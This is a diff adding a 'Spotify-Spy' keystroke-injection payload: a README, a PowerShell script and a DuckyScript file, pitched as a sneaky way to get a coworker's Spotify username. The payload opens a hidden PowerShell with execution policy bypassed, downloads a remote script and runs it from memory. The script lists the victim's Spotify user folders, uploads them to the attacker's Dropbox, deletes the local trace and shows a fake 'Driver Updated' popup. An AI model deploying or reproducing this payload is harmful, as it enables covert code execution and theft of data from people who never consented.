+
+
+
+# Spotify-Spy
+
+This payload is meant to exfiltrate spotify usernames on the device. Some people are too afraid to ask for their spotify or playlist so here is a sneaky way to do so.
+
+
+## Description
+
+Have you ever been too afraid to ask your co-worker for what song that was or what playlist this is? Fear no more!! Spotify-Spy will grab their spotify username for you so you dont have to socially interact with anyone!
+
+## Getting Started
+
+### Dependencies
+
+* DropBox or other file sharing service - Your Shared link for the intended file
+* Windows 10
+
+
+
+### Executing program
+
+* Plug in your device
+* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
+```
+powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl
+```
+
+
diff --git a/payloads/library/exfiltration/Spotify-Spy/SS.ps1 b/payloads/library/exfiltration/Spotify-Spy/SS.ps1
new file mode 100644
index 0000000..e94cab1
--- /dev/null
+++ b/payloads/library/exfiltration/Spotify-Spy/SS.ps1
@@ -0,0 +1,42 @@
+#Spotify-Spy
+
+# See if file is a thing
+Test-Path -Path "$env:APPDATA\Spotify\Users"
+
+#Create varible for file name
+$F1 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_spotify_users.txt"
+
+# Gets the name of the spotify user
+cd "$env:APPDATA\Spotify\Users"
+Get-ChildItem > $F1
+
+# Copy Spotify User to Temp Directory to get sent to Dropbox
+
+Copy-Item "$F1" -Destination "$env:tmp/$F1"
+
+
+function DropBox-Upload {
+
+ [CmdletBinding()]
+ param (
+
+ [Parameter (Mandatory = $True, ValueFromPipeline = $True)]
+ [Alias("f")]
+ [string]$SourceFilePath
+ )
+ $DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN" # Replace with your DropBox Access Token
+ $outputFile = Split-Path $SourceFilePath -leaf
+ $TargetFilePath="/$outputFile"
+ $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
+ $authorization = "Bearer " + $DropBoxAccessToken
+ $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
+ $headers.Add("Authorization", $authorization)
+ $headers.Add("Dropbox-API-Arg", $arg)
+ $headers.Add("Content-Type", 'application/octet-stream')
+ Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
+ }
+
+DropBox-Upload -f "$env:tmp/$F1"
+rm $F1
+
+$done = New-Object -ComObject Wscript.Shell;$done.Popup("Driver Updated",1)
diff --git a/payloads/library/exfiltration/Spotify-Spy/payload.txt b/payloads/library/exfiltration/Spotify-Spy/payload.txt
new file mode 100644
index 0000000..77af76f
--- /dev/null
+++ b/payloads/library/exfiltration/Spotify-Spy/payload.txt
@@ -0,0 +1,16 @@
+REM Title: Spotify-Spy
+
+REM Author: atomiczsec
+
+REM Description: This payload is meant to exfiltrate spotify usernames on the device. Some people are too afraid to ask for their spotify or playlist so here is a sneaky way to do so.
+
+REM Target: Windows 10
+
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
+ENTER
+
+REM Remember to replace the link with your DropBox shared link for the intended file to download
+REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
+ 
+ 
+